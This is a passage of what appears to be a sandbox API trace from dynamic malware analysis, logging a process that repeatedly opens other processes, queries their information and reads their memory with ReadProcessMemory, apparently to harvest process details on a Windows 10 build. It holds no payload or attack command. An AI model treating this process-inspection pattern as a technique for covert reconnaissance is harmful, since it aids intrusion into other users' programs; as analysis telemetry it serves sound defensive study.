returned 0x20abc27cf80 [0180.641] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5a1938, lpBuffer=0x20abc27cf80, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.642] free (_Block=0x20abc27cf80) [0180.643] CloseHandle (hObject=0x330) returned 1 [0180.643] _ui64tow_s (in: _Value=0xee8, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3816") returned 0x0 [0180.646] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3816") returned 4 [0180.647] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.647] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.661] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee8) returned 0x330 [0180.661] GetLastError () returned 0x0 [0180.661] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.661] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x36e018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.662] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.662] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x511cd0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.662] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5118f8, lpBuffer=0x2dc237c1c0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.663] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.664] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.664] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x36e020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.664] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5112e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.664] malloc (_Size=0x6a) returned 0x20abc2831b0 [0180.664] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x51195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0180.665] free (_Block=0x20abc2831b0) [0180.665] CloseHandle (hObject=0x330) returned 1 [0180.666] _ui64tow_s (in: _Value=0xef0, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3824") returned 0x0 [0180.704] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3824") returned 4 [0180.705] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.705] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.717] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef0) returned 0x330 [0180.717] GetLastError () returned 0x0 [0180.718] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.718] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3e4018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.718] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.718] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4e1cd0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.718] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc237c1c0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.719] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.720] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.720] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3e4020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.721] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.721] malloc (_Size=0x6a) returned 0x20abc2831b0 [0180.721] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4e195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0180.722] free (_Block=0x20abc2831b0) [0180.722] CloseHandle (hObject=0x330) returned 1 [0180.723] _ui64tow_s (in: _Value=0xf00, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3840") returned 0x0 [0180.726] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3840") returned 4 [0180.727] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.727] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.740] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf00) returned 0x330 [0180.740] GetLastError () returned 0x0 [0180.740] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.741] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x323018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.741] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.741] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4c1d20, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.741] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4c18f8, lpBuffer=0x2dc237c1c0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.742] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.743] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.743] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x323020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.743] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4c12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.743] malloc (_Size=0x82) returned 0x20abc284f30 [0180.743] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4c1972, lpBuffer=0x20abc284f30, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0180.744] free (_Block=0x20abc284f30) [0180.745] CloseHandle (hObject=0x330) returned 1 [0180.746] _ui64tow_s (in: _Value=0xf08, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3848") returned 0x0 [0180.754] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3848") returned 4 [0180.755] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.755] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.773] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf08) returned 0x330 [0180.773] GetLastError () returned 0x0 [0180.774] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.774] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x311018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.774] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.774] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5f1ce0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.774] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5f18f8, lpBuffer=0x2dc237c1c0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.776] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.777] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.777] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x311020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.777] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5f12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.778] malloc (_Size=0x6e) returned 0x20abc2831b0 [0180.778] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5f195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0180.778] free (_Block=0x20abc2831b0) [0180.779] CloseHandle (hObject=0x330) returned 1 [0180.780] _ui64tow_s (in: _Value=0xf1c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3868") returned 0x0 [0180.785] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3868") returned 4 [0180.786] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.786] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.804] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf1c) returned 0x330 [0180.804] GetLastError () returned 0x0 [0180.804] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.804] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x29c018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.804] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.804] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c1cc0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.805] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc237c1c0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.806] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.807] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.807] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x29c020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.807] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.807] malloc (_Size=0x62) returned 0x20abc280450 [0180.807] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c1952, lpBuffer=0x20abc280450, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280450*, lpNumberOfBytesRead=0x0) returned 1 [0180.808] free (_Block=0x20abc280450) [0180.808] CloseHandle (hObject=0x330) returned 1 [0180.809] _ui64tow_s (in: _Value=0xf24, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3876") returned 0x0 [0180.813] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3876") returned 4 [0180.814] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.814] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.826] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf24) returned 0x330 [0180.826] GetLastError () returned 0x0 [0180.827] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.827] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x369018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.827] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.827] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c1cd0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.827] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc237c1c0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.828] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.829] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.829] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x369020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.830] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.830] malloc (_Size=0x68) returned 0x20abc2807d0 [0180.830] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c1958, lpBuffer=0x20abc2807d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0180.830] free (_Block=0x20abc2807d0) [0180.831] CloseHandle (hObject=0x330) returned 1 [0180.832] _ui64tow_s (in: _Value=0xf30, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3888") returned 0x0 [0180.836] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3888") returned 4 [0180.837] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.837] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.851] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf30) returned 0x330 [0180.851] GetLastError () returned 0x0 [0180.851] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.851] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x39e018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.852] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.852] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4a1d10, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.852] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4a18f8, lpBuffer=0x2dc237c1c0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.853] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.854] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.854] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x39e020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.854] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4a12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.854] malloc (_Size=0x7c) returned 0x20abc284f30 [0180.854] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4a196c, lpBuffer=0x20abc284f30, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0180.855] free (_Block=0x20abc284f30) [0180.855] CloseHandle (hObject=0x330) returned 1 [0180.856] _ui64tow_s (in: _Value=0xf40, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3904") returned 0x0 [0180.859] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3904") returned 4 [0180.860] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.860] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.873] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf40) returned 0x330 [0180.873] GetLastError () returned 0x0 [0180.874] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.874] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2f9018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.874] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.874] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4e1cd0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.874] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc237c1c0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.875] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.876] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, 